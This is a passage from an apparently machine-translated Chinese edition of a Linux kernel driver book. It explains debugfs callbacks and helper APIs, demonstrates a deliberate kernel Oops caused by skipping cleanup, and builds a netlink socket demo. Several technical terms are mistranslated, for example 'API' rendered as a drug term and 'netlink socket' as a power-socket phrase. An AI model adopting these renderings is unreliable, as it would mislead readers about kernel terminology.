off, and kernel evolution continues... - -显然,“读取”回调是我们的`dbgfs_show_drvctx()`功能。提醒一下,每当读取`debugfs`文件(`llkd_dbgfs_show_drvctx`)时,该函数都会被 debugfs 层自动调用;下面是我们的 debugfs read 回调函数的代码: - -```sh -static ssize_t dbgfs_show_drvctx(struct file *filp, char __user * ubuf, - size_t count, loff_t * fpos) -{ - struct drv_ctx *data = (struct drv_ctx *)filp->f_inode->i_private; - // retrieve the "data" from the inode -#define MAXUPASS 256 // careful- the kernel stack is small! - char locbuf[MAXUPASS]; - - if (mutex_lock_interruptible(&mtx)) - return -ERESTARTSYS; - - /* As an experiment, we set our 'config3' member of the drv ctx stucture - * to the current 'jiffies' value (# of timer interrupts since boot); - * so, every time we 'cat' this file, the 'config3' value should change! - */ - data->config3 = jiffies; - snprintf(locbuf, MAXUPASS - 1, - "prodname:%s\n" - "tx:%d,rx:%d,err:%d,myword:%d,power:%d\n" - "config1:0x%x,config2:0x%x,config3:0x%llx (%llu)\n" - "oursecret:%s\n", - OURMODNAME, - data->tx, data->rx, data->err, data->myword, data->power, - data->config1, data->config2, data->config3, data->config3, - data->oursecret); - - mutex_unlock(&mtx); - return simple_read_from_buffer(ubuf, MAXUPASS, fpos, locbuf, - strlen(locbuf)); -} -``` - -请注意,我们如何通过取消引用 debugfs 文件的 inode 成员来检索“数据”指针(我们的驱动程序上下文结构),这被称为`i_private`。 - -As we mentioned in [Chapter 1](1.html), *Writing a Simple misc Character Device Driver*, using the `data` pointer to dereference the driver context structure from the file's inode is one of a number of similar, common techniques employed by driver authors to avoid the use of globals. Here, `gdrvctx` *is* a global, so it's a moot point; we are simply using it to demonstrate the typical use case. - -使用`snprintf()`应用编程接口,我们可以用驱动程序“上下文”结构的当前内容填充一个本地缓冲区,然后通过`simple_read_from_buffer()`应用编程接口将其传递给发出读取的用户空间应用,这通常会导致它显示在终端/控制台窗口上。这个`simple_read_from_buffer()`原料药是`copy_to_user()`的包装。 - -让我们转一转: - -```sh -$ ../../lkm debugfs_simple_intf -[...] -[200221.725752] dbgfs_simple_intf: allocated and init the driver context structure -[200221.728158] dbgfs_simple_intf: debugfs file 1 /dbgfs_simple_intf/llkd_dbgfs_show_drvctx created -[200221.732167] dbgfs_simple_intf: debugfs file 2 /dbgfs_simple_intf/llkd_dbgfs_debug_level created -[200221.735723] dbgfs_simple_intf initialized -``` - -正如我们所看到的,两个 debugfs 文件是按照预期创建的;让我们验证这一点(这里要小心;你只能把 debugfs 看作*根*): - -```sh -$ ls -l /sys/kernel/debug/dbgfs_simple_intf -ls: cannot access '/sys/kernel/debug/dbgfs_simple_intf': Permission denied -$ sudo ls -l /sys/kernel/debug/dbgfs_simple_intf -total 0 --rw-r--r-- 1 root root 0 Feb 7 15:58 llkd_dbgfs_debug_level --r--r----- 1 root root 0 Feb 7 15:58 llkd_dbgfs_show_drvctx -$ -``` - -伪文件已经创建并具有正确的权限。现在,让我们从`llkd_dbgfs_show_drvctx`文件中读取(作为根用户): - -```sh -$ sudo cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_show_drvctx -prodname:dbgfs_simple_intf -tx:0,rx:0,err:0,myword:0,power:1 -config1:0x0,config2:0x48524a5f,config3:0x102fbcbc2 (4345023426) -oursecret:AhA yyy -$ -``` - -它有效;几秒钟后再次执行读取。注意`config3`的值是如何变化的。为什么呢?回想一下,我们将其设置为`jiffies`值,即自系统启动以来发生的定时器“滴答”/中断的次数: - -```sh -$ sudo cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_show_drvctx | grep config3 -config1:0x0,config2:0x48524a5f,config3:0x102fbe828 (4345030696) -$ -``` - -创建并使用了我们的第一个 debugfs 文件后,让我们了解第二个 debugfs 文件。 - -### 创建和使用第二个 debugfs 文件 - -让我们进入第二个 debugfs 文件。我们将使用一个有趣的快捷助手 debugfs API`debugfs_create_u32()`来创建它。这个应用编程接口*自动*设置内部回调,允许你在驱动程序中读/写指定的无符号 32 位全局变量。这个“助手”例程的主要优点是不需要显式提供`file_operations`结构,甚至不需要任何回调例程。debugfs 层“理解”并在内部进行设置,以便读取或写入数字(全局)变量将始终正常工作!看看 *init* 代码路径中的以下代码,它创建并设置了我们的第二个调试文件: - -```sh -static int debug_level; /* 'off' (0) by default ... */ -[...] - /* 3\. Create the debugfs file for the debug_level global; we use the - * helper routine to make it simple! There is a downside: we have no - * chance to perform a validity check on the value being written.. */ -#define DBGFS_FILE2 "llkd_dbgfs_debug_level" - file2 = debugfs_create_u32(DBGFS_FILE2, 0644, gparent, &debug_level); - [...] - pr_debug("%s: debugfs file 2 /%s/%s created\n", - OURMODNAME, OURMODNAME, DBGFS_FILE2); -``` - -就这么简单!现在,读取这个文件会产生`debug_level`的当前值;写入它会将其设置为写入的值。让我们这样做: - -```sh -$ sudo cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_debug_level -0 -$ sudo sh -c "echo 5 > /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_debug_level" -$ sudo cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_debug_level -5 -$ -``` - -这是可行的,但是这种“捷径”方法有一个缺点:因为这都是在内部完成的,所以我们没有办法*验证*正在写入的值。因此,在这里,我们将值`5`写到`debug_level`;它起作用了,但它是一个无效的值(至少让我们假设是这样的)!那么,如何才能纠正这种情况呢?简单:不要使用这个助手方法;取而代之的是,通过通用的`debugfs_create_file()`应用编程接口以“通常”的方式进行(就像我们对第一个 debugfs 文件所做的那样)。这样做的好处是,当我们为读取和写入设置显式回调例程时,通过在 fops 结构中指定它们,我们可以控制正在写入的值(我将此留给您,作为练习)。就像生活一样,这是一种权衡;你赢了一些,你输了一些。 - -## 用于处理数字全局的助手调试 API - -您刚刚学习了如何使用`debugfs_create_u32()`助手 API 来设置一个 debugfs 文件来读取/写入一个无符号的 32 位整数全局。事实上,debugfs 层提供了一堆类似的“助手”API,用于隐式读取/写入模块中的数字(整数)全局变量。 - -下面是创建 debugfs 条目的助手例程,这些条目可以读取/写入不同位大小的无符号整数(8 位、16 位、32 位和 64 位)全局变量。最后一个参数是关键参数——内核/模块中全局整数的地址: - -```sh -// include/linux/debugfs.h -struct dentry *debugfs_create_u8(const char *name, umode_t mode, - struct dentry *parent, u8 *value); -struct dentry *debugfs_create_u16(const char *name, umode_t mode, - struct dentry *parent, u16 *value); -struct dentry *debugfs_create_u32(const char *name, umode_t mode, - struct dentry *parent, u32 *value); -struct dentry *debugfs_create_u64(const char *name, umode_t mode, - struct dentry *parent, u64 *value); -``` - -前面的 API 使用十进制基数;为了使使用*十六进制基数*变得容易,我们有以下助手: - -```sh -struct dentry *debugfs_create_x8(const char *name, umode_t mode, - struct dentry *parent, u8 *value); -struct dentry *debugfs_create_x16(const char *name, umode_t mode, - struct dentry *parent, u16 *value); -struct dentry *debugfs_create_x32(const char *name, umode_t mode, - struct dentry *parent, u32 *value); -struct dentry *debugfs_create_x64(const char *name, umode_t mode, - struct dentry *parent, u64 *value); -``` - -As an aside, the kernel also provides a helper API for those cases where the precise *size* of the variable varies; hence, using the `debugfs_create_size_t()` helper creates a debugfs file appropriate for a variable of size `size_t`. - -对于只需要查看数值全局的驱动程序,或者更新它而不用担心无效值的驱动程序来说,这些 debugfs 助手 API 非常有用,并且确实被主线内核中的几个驱动程序常用(我们将很快在 MMC 驱动程序中查看一个示例)。为了规避“有效性检查”问题,通常我们可以安排*用户空间*应用(或脚本)进行有效性检查;事实上,这通常是做事的“正确方式”。 - -The UNIX paradigm has a saying: *provide mechanism, not policy.* - -当使用属于*布尔*类型的全局时,debugfs 提供了以下助手应用编程接口: - -```sh -struct dentry *debugfs_create_bool(const char *name, umode_t mode, - struct dentry *parent, bool *value); -``` - -读取“文件”将只返回`Y`或`N`(以换行符结尾);显然,`Y`如果第四个`value`参数的当前值为非零,`N`则不然。写的时候可以写`Y`或者`N`或者`1`或者`0`;其他值将不被接受。 - -Think about it: you can control your "robot" device via your robot device driver by writing `1` to a boolean variable called, say, `power` to turn it on, and use `0` to turn it off! The possibilities are endless. - -debugfs 上的内核文档提供了一些其他的 APIs 我把它留给你看。既然我们已经介绍了如何创建和使用我们的演示 debugfs 伪文件,让我们学习如何删除它们。 - -### 正在删除 debugfs 伪文件 - -当一个模块被移除时(例如,通过`rmmod(8)`,我们必须删除我们的调试文件。更老的方法是通过`debugfs_remove()`应用编程接口,其中每个调试文件都必须单独移除(至少可以说是痛苦的)。现代方法使这变得非常简单: - -```sh -void debugfs_remove_recursive(struct dentry *dentry); -``` - -将指针传递到整个“父”目录(我们首先创建的目录),整个分支被递归移除;太好了。 - -此时不删除您的 debugfs 文件,从而使它们在文件系统中处于孤立状态,这是自找麻烦!试想一下:当以后有人(试图)读或写它们中的任何一个时,会发生什么?**一个内核 bug,或者一个*哎呀*** ,就是这样。 - -#### 看到一个内核错误–哎呀! - -让我们实现它——一个内核错误!令人兴奋,是的!? - -好吧,要创建一个内核 bug,我们必须确保当我们移除(卸载)内核模块时,清理(删除)所有 debugfs 文件的 API`debugfs_remove_recursive()`是*而不是*调用的。因此,在每个模块被移除之后,我们的 debugfs 目录和文件似乎就出现了!但是,如果您尝试对它们中的任何一个进行读/写操作,它们将处于*孤立状态*,因此,在尝试取消引用其元数据时,内部 debugfs 代码路径将执行无效的内存引用,从而导致(内核级)错误。 - -在内核空间中,bug 确实是一件非常严重的事情;从理论上讲,它永远不会发生!这叫做*哎呀;*作为处理这种情况的一部分,调用内部内核函数,该函数通过`printk`将有用的诊断信息转储到内存内核日志缓冲区,以及控制台设备(在生产系统上,它也可能被定向到其他地方,以便以后可以检索和调查;例如,通过内核的 *kdump* 机制。 - -让我们引入一个模块参数,该参数控制我们(相当故意地)是否导致*哎呀*发生: - -```sh -// ch2/debugfs_simple_intf/debugfs_simple_intf.c -[...] -/* Module parameters */ -static int cause_an_oops; -module_param(cause_an_oops, int, 0644); -MODULE_PARM_DESC(cause_an_oops, -"Setting this to 1 can cause a kernel bug, an Oops; if 1, we do NOT perform required cleanup! so, after removal, any op on the debugfs files will cause an Oops! (default is 0, no bug)"); -``` - -在我们的驱动程序的清理代码路径中,我们检查`cause_an_oops`变量是否非零,并故意做*而不是*(递归地)删除我们的 debugfs 文件,因此设置了错误: - -```sh -static void debugfs_simple_intf_cleanup(void) -{ - kfree(gdrvctx); - if (!cause_an_oops) - debugfs_remove_recursive(gparent); - pr_info("%s removed\n", OURMODNAME); -} -``` - -当我们“正常”使用`insmod(8)`时,吓人的`cause_an_oops`模块参数默认为`0`,从而保证一切正常。但是让我们开始冒险吧!我们正在构建内核模块,当我们插入它时,我们必须传递参数,同时将其设置为`1`(请注意,在这里,我们在我们的 x86_64 Ubuntu 18.04 LTS 来宾系统上以*根*的身份在我们的自定义`5.4.0-llkd01`内核上运行): - -```sh -# id -uid=0(root) gid=0(root) groups=0(root) -# insmod ./debugfs_simple_intf.ko cause_an_oops=1 -# cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_debug_level -0 -# dmesg -[ 2061.048140] dbgfs_simple_intf: allocated and init the driver context structure -[ 2061.050690] dbgfs_simple_intf: debugfs file 1 /dbgfs_simple_intf/llkd_dbgfs_show_drvctx created -[ 2061.053638] dbgfs_simple_intf: debugfs file 2 /dbgfs_simple_intf/llkd_dbgfs_debug_level created -[ 2061.057089] dbgfs_simple_intf initialized (fyi, our 'cause an Oops' setting is currently On) -# -``` - -现在,让我们移除内核模块——在内部,用于清理(递归删除)我们的 debugfs 文件的代码不会运行。在这里,我们实际上是通过试图读取我们的一个 debugfs 文件来触发内核错误*哎呀,*: - -```sh -# rmmod debugfs_simple_intf -# cat /sys/kernel/debug/dbgfs_simple_intf/llkd_dbgfs_debug_level -Killed -``` - -控制台上的`Killed`信息是不祥之兆!这是一个线索,表明出了问题。查看内核日志确认我们确实得到了*哎呀!*以下(部分裁剪)截图显示了这一点: - -![](img/1b9849ec-98d3-4fa8-a772-87b4d6fa656b.png) - -Figure 2.4 – A partial screenshot of a kernel Oops, a kernel-level bug - -由于提供的内核调试细节超出了本书的范围,我们在此不再赘述。尽管如此,弄清楚一点还是很直观的。仔细看前面的截图:在`BUG:`语句中,可以看到**内核虚拟地址** ( **kva** )其查找导致了这个 bug,称为 Oops(我们在配套指南 *Linux 内核编程–第 7 章,内存内部管理要领*中覆盖了 kva 空间;这确实是驱动程序作者的关键信息): - -```sh -CPU: 1 PID: 4673 Comm: cat Tainted: G OE 5.4.0-llkd01 #2 -``` - -这显示了运行进程上下文(`cat`)的 CPU ( `1`)、被污染的标志和内核版本。输出的一个真正关键的部分如下: - -```sh -RIP: 0010:debugfs_u32_get+0x5/0x20 -``` - -这告诉你 CPU 指令指针(x86_64 上名为 RIP 的寄存器)在`debugfs_u32_get()`函数中,从函数的机器码开始偏移`0x5`字节(此外,内核算出函数的长度是`0x20`字节)! - -Combining this information with powerful tools such as `objdump(1)` and `addr2line(1)` can help to literally pinpoint the location of the bug in code! - -CPU 寄存器被转储;更好的是,*调用跟踪*或*调用栈*–进程上下文的内核模式栈的*内容(关于内核栈的详细信息,请参考 *Linux 内核编程*、在*第 6 章*、*内核内部本质、进程和线程、*–向您展示了导致这一点的代码;也就是崩溃(自下而上读取堆栈跟踪)。另一个快速提示:如果调用跟踪输出中的一个内核函数前面有一个`?`符号,就忽略它(可能是之前留下的一个“回光返照”)。* - -Realistically, a kernel bug on a production system *must* cause the entire system to panic (halt). On non-production systems (like what we're running on), a kernel panic may or may not occur; here, it doesn't. Nevertheless, a kernel bug must be treated with the highest level of severity, it's indeed a show-stopper and must be fixed. The procfs file, `/proc/sys/kernel/panic_on_oops`, is set to `0` by most distros, but on production systems, it will typically be set to the value `1`. - -这里的寓意很清楚:debugfs 没有执行自动清理;我们必须这么做。好的,让我们通过查看内核中的一些实际使用情况来结束关于 debugfs 的讨论。 - -## debugfs–实际用户 - -正如我们之前提到的,debugfs API 有几个“真实世界”的用户;我们能认出其中一些吗?嗯,这里有一个方法:简单地在内核源码树的`drivers/`目录下搜索名为`*debugfs*.c`的文件;你可能会感到惊讶(我在 5.4.0 内核树中发现了 114 个这样的文件!).我们来看几个: - -```sh -$ cd ; find drivers/ -iname "*debugfs*.c" -drivers/block/drbd/drbd_debugfs.c -drivers/mmc/core/debugfs.c -drivers/platform/x86/intel_telemetry_debugfs.c -[...] -drivers/infiniband/hw/qib/qib_debugfs.c -drivers/infiniband/hw/hfi1/debugfs.c -[...] -drivers/media/usb/uvc/uvc_debugfs.c -drivers/acpi/debugfs.c -drivers/net/wireless/mediatek/mt76/debugfs.c -[...] -drivers/net/wireless/intel/iwlwifi/mvm/debugfs-vif.c -drivers/net/wimax/i2400m/debugfs.c -drivers/net/ethernet/broadcom/bnxt/bnxt_debugfs.c -drivers/net/ethernet/marvell/mvpp2/mvpp2_debugfs.c -drivers/net/ethernet/mellanox/mlx5/core/debugfs.c -[...] -drivers/misc/genwqe/card_debugfs.c -drivers/misc/mei/debugfs.c -drivers/misc/cxl/debugfs.c -[...] -drivers/usb/mtu3/mtu3_debugfs.c -drivers/sh/intc/virq-debugfs.c -drivers/soundwire/debugfs.c -[...] -drivers/crypto/ccree/cc_debugfs.c -``` - -看一看(其中的)一些;他们的代码公开了 debugfs 接口。这并不总是仅仅出于调试的目的;许多 debugfs 文件是为实际生产使用的!例如,MMC 驱动程序包含以下代码行,它利用 debugfs“helper”API 来获取 x32 全局: - -```sh -drivers/mmc/core/debugfs.c:mmc_add_card_debugfs(): -debugfs_create_x32("state", S_IRUSR, root, &card->state); -``` - -这会创建一个名为`state`的 debugfs 文件,当读取该文件时,会显示卡的“状态”。 - -好了,这就完成了我们对如何通过强大的 debugfs 框架与用户空间交互的介绍。我们的演示 debugfs 驱动程序在其中创建了一个 debugfs 目录和两个 debugfs 伪文件;然后,您学习了如何为它们设置和使用读写回调处理程序。“捷径”API(如`debugfs_create_u32()`和好友)也很强大。不仅如此,我们甚至设法生成了一个内核错误——哎呀!现在,让我们学习如何通过一种特殊类型的套接字进行通信,这种套接字被称为 netlink socket。 - -# 通过网络连接插座接口 - -在这里,你将学会用一个熟悉的、实际上无处不在的网络抽象——套接字来连接内核和用户空间。熟悉网络应用编程的程序员都相信它的优点。 - -Familiarity with network programming in C/C++ with socket APIs helps here. Do see the *Further reading* section for a couple of good tutorials on this topic. - -## 使用插座的优点 - -其中,套接字技术为我们提供了几个优势(优于其他典型的用户模式 IPC 机制,如管道、SysV IPC/POSIX IPC 机制(消息队列、共享内存、信号量等)),如下所示: - -* 双向同时数据传输(全双工)。 -* 在互联网上是无损的,至少使用一些传输层协议,比如 TCP,当然,在本地主机上也是如此。 -* 高速数据传输,尤其是在本地主机上! -* 流控制语义总是有效的。 -* 异步通信;消息可以排队,因此发送者不必等待接收者。 -* 特别是关于我们的主题,在其他用户内核通信路径(如 procfs、sysfs、debugfs、ioctl)中,用户空间 app 必须发起到内核空间的转移;使用 netlink 套接字,*内核可以发起传输。* -* 此外,对于我们到目前为止看到的所有其他机制(procfs、sysfs 和 debugfs),散布在文件系统中的各种接口文件会导致内核名称空间污染;对于 netlink 套接字(顺便说一句,对于 ioctl),情况并非如此,因为没有文件。 - -这些优势可能会有所帮助,具体取决于您正在开发的产品类型。现在,让我们理解什么是网络连接套接字。 - -## 了解什么是网络连接套接字 - -那么,什么是网络连接插座呢?我们将保持简单——一个*网络连接插座*是一个“特殊”的插座家族,从 2.2 版本开始只存在于 Linux 操作系统上。使用它,您可以在用户模式进程(或线程)和内核中的组件之间建立**进程间通信**(**IPC**);在我们的例子中,内核模块,通常是驱动程序。 - -它在许多方面类似于 UNIX 域数据报套接字;它只用于在*本地主机* *上进行通信,而不是跨系统通信。尽管 UNIX 域套接字使用路径名作为其命名空间(一个特殊的“套接字”文件),但 netlink 套接字使用 PID。迂腐地说,这是一个端口标识,而不是进程标识,尽管实际上,进程标识经常被用作名称空间。现代内核核心(除了驱动程序之外)在许多情况下使用 netlink 套接字,例如,iproute2 网络实用程序使用它来配置无线驱动程序。作为另一个有趣的例子,udev 特性使用 netlink 套接字来实现内核 udev 实现和用户空间守护进程(udevd 或 systemd-udevd,用于设备发现、设备节点供应等)之间的通信。* - -在这里,我们将使用 netlink 套接字设计并实现一个简单的用户内核消息传递演示。为此,我们必须(至少)编写两个程序——一个作为发出基于套接字的系统调用的用户空间应用,另一个用于内核空间组件(这里是内核模块)。我们将让用户空间进程向内核模块发送一条“消息”;内核模块应该接收并打印它(到内核日志缓冲区中)。内核模块然后将回复用户空间进程,这个进程正在阻止这个事件。 - -因此,不再赘述,让我们开始使用 netlink 套接字编写一些代码;我们将从用户空间应用开始。继续读! - -## 编写用户空间 netlink 套接字应用 - -按照以下步骤运行*用户空间*应用: - -1. 我们必须做的第一件事就是给自己买一个*插座*。传统上,套接字被定义为通信的端点;因此,一对插座形成连接。我们将使用`socket(2)`系统调用来做到这一点。它的签名是 - `int socket(int domain, int type, int protocol);`。 - -在不太详细的情况下,我们这样做: - -2. 下一步是通过通常的`bind(2)`系统调用语义绑定套接字。首先,我们必须为此目的初始化一个网络链接源`socketaddr`结构(其中我们将系列指定为网络链接,将 PID 值指定为调用进程的 PID(仅适用于单播))。下面的代码用于这里提到的前两个步骤(为了清楚起见,我们不会在这里显示错误检查代码): - -```sh -// ch2/netlink_simple_intf/userapp_netlink/netlink_userapp.c -#define NETLINK_MY_UNIT_PROTO 31 - // kernel netlink protocol # (registered by our kernel module) -#define NLSPACE 1024 - -[...] - /* 1\. Get ourselves an endpoint - a netlink socket! */ -sd = socket(PF_NETLINK, SOCK_RAW, NETLINK_MY_UNIT_PROTO); -printf("%s:PID %d: netlink socket created\n", argv[0], getpid()); - -/* 2\. Setup the netlink source addr structure and bind it */ -memset(&src_nl, 0, sizeof(src_nl)); -src_nl.nl_family = AF_NETLINK; -/* Note carefully: nl_pid is NOT necessarily the PID of the sender process; it's actually 'port id' and can be any unique number */ -src_nl.nl_pid = getpid(); -src_nl.nl_groups = 0x0; // no multicast -bind(sd, (struct sockaddr *)&src_nl, sizeof(src_nl)) -``` - -3. 接下来,我们必须初始化一个网络链接“目的地址”结构。这里,我们将 PID 成员设置为`0`,这是一个特殊的值,表示目的地是内核: - -```sh -/* 3\. Setup the netlink destination addr structure */ -memset(&dest_nl, 0, sizeof(dest_nl)); -dest_nl.nl_family = AF_NETLINK; -dest_nl.nl_groups = 0x0; // no multicast -dest_nl.nl_pid = 0; // destined for the kernel -``` - -4. 接下来,我们必须分配并初始化一个网络链接“头”数据结构。其中,它指定了源 PID,更重要的是,我们将交付给内核组件的数据“有效载荷”。在这里,我们使用辅助宏,如`NLMSG_DATA()`来指定网络链接头结构中的正确数据位置: - -```sh -/* 4\. Allocate and setup the netlink header (including the payload) */ -nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(NLSPACE)); -memset(nlhdr, 0, NLMSG_SPACE(NLSPACE)); -nlhdr->nlmsg_len = NLMSG_SPACE(NLSPACE); -nlhdr->nlmsg_pid = getpid(); -/* Setup the payload to transmit */ -strncpy(NLMSG_DATA(nlhdr), thedata, strlen(thedata)+1); -``` - -5. 接下来,必须初始化一个`iovec`结构来引用网络链接头,并且必须初始化一个`msghdr`数据结构来指向目的地址和`iovec`: - -```sh -/* 5\. Setup the iovec and ... */ -memset(&iov, 0, sizeof(struct iovec)); -iov.iov_base = (void *)nlhdr; -iov.iov_len = nlhdr->nlmsg_len; -[...] -/* ... now setup the message header structure */ -memset(&msg, 0, sizeof(struct msghdr)); -msg.msg_name = (void *)&dest_nl; // dest addr -msg.msg_namelen = sizeof(dest_nl); // size of dest addr -msg.msg_iov = &iov; -msg.msg_iovlen = 1; // # elements in msg_iov -``` - -6. 最后,通过`sendmsg(2)`系统调用(以套接字描述符和前述`msghdr`结构为参数)发送(传输)消息: - -```sh -/* 6\. Actually (finally!) send the message via sendmsg(2) */ -nsent = sendmsg(sd, &msg, 0); -``` - -7. 内核组件——内核模块,我们稍后将讨论——现在应该通过它的 netlink 套接字接收消息并显示消息的内容;我们安排它然后礼貌地回答。要获取回复,我们的用户空间应用现在必须在套接字上执行阻塞读取: - -```sh -/* 7\. Block on incoming msg from the kernel-space netlink component */ -printf("%s: now blocking on kernel netlink msg via recvmsg() ...\n", argv[0]); -nrecv = recvmsg(sd, &msg, 0); -``` - -我们必须使用`recvmsg(2)`系统调用来做到这一点。当它被解除阻止时,它表明消息已被接收。 - -Why so much abstraction and wrapping for data structures? Well, it's how things often evolve – the `msghdr` structure was created so that the `sendmsg(2)` API can use fewer parameters. But that implies the parameters have to go somewhere; they go deep inside `msghdr`, which points to the destination address and `iovec`, whose `base` member points to the netlink header structure, which contains the payload! Whew. - -作为一个实验,如果我们过早地构建和运行用户模式 netlink 应用–*而没有*内核端代码,会怎么样?当然,它会失败...但是具体怎么做呢?好吧,用经验方法。通过古老的`strace(1)`实用程序尝试这一点,我们可以看到`socket(2)`系统调用返回了一个失败,原因是`Protocol not supported`: - -```sh -$ strace -e trace=network ./netlink_userapp -socket(AF_NETLINK, SOCK_RAW, 0x1f /* NETLINK_??? */) = -1 EPROTONOSUPPORT (Protocol not supported) -netlink_u: netlink socket creation failed: Protocol not supported -+++ exited with 1 +++ -$ -``` - -这是正确的;内核中还没有这样的`protocol # 31` ( `31` = `0x1f`,我们正在使用的协议号)到位*!我们还没有这么做。这就是用户空间的一面。现在,让我们完成这个难题,让它真正发挥作用!我们将通过查看内核组件(模块/驱动程序)是如何编写的来实现这一点。* - - *## 将内核空间 netlink 套接字代码编写为内核模块 - -内核为 netlink 提供基础架构,包括 API 和数据结构;所有必需的都被导出,因此作为模块作者,您可以使用它们。我们使用其中的几种;这里概述了对内核 netlink 组件(内核模块)进行编程的步骤: - -1. 就像用户空间应用一样,我们必须做的第一件事就是给自己买一个 netlink 套接字。内核 API 为`netlink_kernel_create()`,其签名如下: - -```sh -struct sock * netlink_kernel_create(struct net *, int , struct netlink_kernel_cfg *); -``` - -第一个参数是通用网络结构;我们在这里传递内核现有且有效的`init_net`结构。第二个参数是*要使用的协议号(单位)*;我们将指定与用户空间应用相同的编号(`31`)。第三个参数是指向(可选的)netlink 配置结构的指针;这里,我们只将输入成员设置为我们的函数,而不考虑其余的。当用户空间进程(或线程)向内核 netlink 组件提供任何输入(即传输某些东西)时,这个函数被回调。因此,在内核模块的`init`例程中,我们有以下内容: - -```sh -// ch2/netlink_simple_intf/kernelspace_netlink/netlink_simple_intf.c -#define OURMODNAME "netlink_simple_intf" -#define NETLINK_MY_UNIT_PROTO 31 - // kernel netlink protocol # that we're registering -static struct sock *nlsock; -[...] -static struct netlink_kernel_cfg nl_kernel_cfg = { - .input = netlink_recv_and_reply, -}; -[...] -nlsock = netlink_kernel_create(&init_net, NETLINK_MY_UNIT_PROTO, - &nl_kernel_cfg); -``` - -2. 正如我们前面提到的,当用户空间进程(或线程)向我们的内核(netlink)模块或驱动程序提供任何输入(即传输某些东西)时,回调函数就会被调用。重要的是要理解它运行在进程上下文中,而不是任何类型的中断上下文中;我们使用`convenient.h:PRINT_CTX()`宏来验证这一点(我们将在[第 4 章](4.html)、*处理硬件中断*、在*完全理解上下文*部分中讨论这一点)。在这里,我们只需显示收到的消息,然后通过向我们的用户空间对等进程发送示例消息来进行回复。从我们的用户空间对等进程传输的数据有效负载可以从套接字缓冲区结构中检索,该缓冲区结构作为参数传递给我们的回调函数,或者从其中的 netlink 头结构中检索。您可以在此处看到数据和发送方 PID 是如何检索的: - -```sh -static void netlink_recv_and_reply(struct sk_buff *skb) -{ - struct nlmsghdr *nlh; - struct sk_buff *skb_tx; - char *reply = "Reply from kernel netlink"; - int pid, msgsz, stat; - - /* Find that this code runs in process context, the process - * (or thread) being the one that issued the sendmsg(2) */ - PRINT_CTX(); - - nlh = (struct nlmsghdr *)skb->data; - pid = nlh->nlmsg_pid; /*pid of sending process */ - pr_info("%s: received from PID %d:\n" - "\"%s\"\n", OURMODNAME, pid, (char *)NLMSG_DATA(nlh)); -``` - -The *socket buffer* data structure – `struct sk_buff` – is considered the critical data structure within the Linux kernel's network protocol stack. It holds all metadata concerning the network packet, including dynamic pointers to it. It has to be quickly allocated and freed (especially when network code runs in interrupt contexts); this is indeed possible because it's on the kernel's slab (SLUB) cache (see details on the kernel slab allocator in the companion guide *Linux Kernel Programming,* *Chapters 7*, *Memory Management Internals - Essentials*, *Chapter 8*, *Kernel Memory Allocation for Module Authors – Part 1*, and *Chapter 9*, *Kernel Memory Allocation for Module Authors – Part 2*). - -现在,我们需要理解,我们可以通过首先取消对传递给我们回调例程的套接字缓冲区(`skb`)结构的`data`成员的引用来从网络数据包中检索有效负载!接下来,这个`data`成员实际上是指向我们的用户空间对等体建立的网络链接消息头结构的指针。然后我们解引用它来获得实际的有效载荷。 - -3. 我们现在想“回复”我们的用户空间对等进程;这样做需要执行一些操作。首先,我们必须使用`nlmsg_new()` API 分配一个新的网络链接消息,这实际上是对`alloc_skb()`的一个薄包装,通过`nlmsg_put()` API 向刚刚分配的套接字缓冲区添加一个网络链接消息,然后使用适当的宏(`nlmsg_data()`)将数据(有效负载)复制到网络链接头中: - -```sh - //--- Let's be polite and reply - msgsz = strlen(reply); - skb_tx = nlmsg_new(msgsz, 0); - [...] - // Setup the payload - nlh = nlmsg_put(skb_tx, 0, 0, NLMSG_DONE, msgsz, 0); - NETLINK_CB(skb_tx).dst_group = 0; /* unicast only (cb is the - * skb's control buffer), dest group 0 => unicast */ - strncpy(nlmsg_data(nlh), reply, msgsz); -``` - -4. 我们通过`nlmsg_unicast()`应用编程接口将回复发送给我们的用户空间对等进程(甚至多播网络链接消息也是可能的): - -```sh - // Send it - stat = nlmsg_unicast(nlsock, skb_tx, pid); -``` - -5. 只剩下清理(当内核模块被移除时调用);`netlink_kernel_release()` API 实际上是`netlink_kernel_create()`的反义词,因为它清理了网络链接套接字,并将其关闭: - -```sh -static void __exit netlink_simple_intf_exit(void) -{ - netlink_kernel_release(nlsock); - pr_info("%s: removed\n", OURMODNAME); -} -``` - -现在,我们已经编写了用户空间应用和内核模块,通过 netlink 套接字进行接口,让我们实际尝试一下! - -## 尝试我们的网络连接项目 - -是时候验证它是否如广告中所说的那样工作了。让我们开始吧: - -1. 首先,构建内核模块并将其插入内核内存: - -Our `lkm` convenience script makes short work of this; this session was carried out on our familiar x86_64 guest VM running Ubuntu 18.04 LTS and a custom 5.4.0 Linux kernel. - -```sh -$ cd /ch2/netlink_simple_intf/kernelspace_netlink $ ../../../lkm netlink_simple_intf -Version info: -Distro: Ubuntu 18.04.4 LTS -Kernel: 5.4.0-llkd01 -[...] -make || exit 1 -[...] Building for: KREL=5.4.0-llkd01 ARCH=x86 CROSS_COMPILE= EXTRA_CFLAGS= -DDEBUG - CC [M] /home/llkd/booksrc/ch13/netlink_simple_intf/kernelspace_netlink/netlink_simple_intf.o -[...] -sudo insmod ./netlink_simple_intf.ko && lsmod|grep netlink_simple_intf ------------------------------- -netlink_simple_intf 16384 0 -[...] -[58155.082713] netlink_simple_intf: creating kernel netlink socket -[58155.084445] netlink_simple_intf: inserted -$ -``` - -2. 有了它,它就装载好了。接下来,我们将构建并试用我们的用户空间应用: - -```sh -$ cd ../userapp_netlink/ -$ make netlink_userapp -[...] -``` - -这将产生以下输出: - -![](img/ce358d89-c70a-4d5b-8804-df86245ce2b1.png) - -Figure 2.5 – Screenshot showing user<->kernel communication via our sample netlink socket code - -它有效;内核网络链接模块接收并显示从用户空间进程(`PID 7813`)发送给它的消息。内核模块然后用自己的消息回复给它的用户空间对等体,后者成功地接收并显示它(通过`printf()`)。自己试一试。完成后,别忘了用`sudo rmmod netlink_simple_intf`移除内核模块。 - -An aside: a connector driver exists within the kernel. Its purpose is to ease the development of netlink-based communication, making it 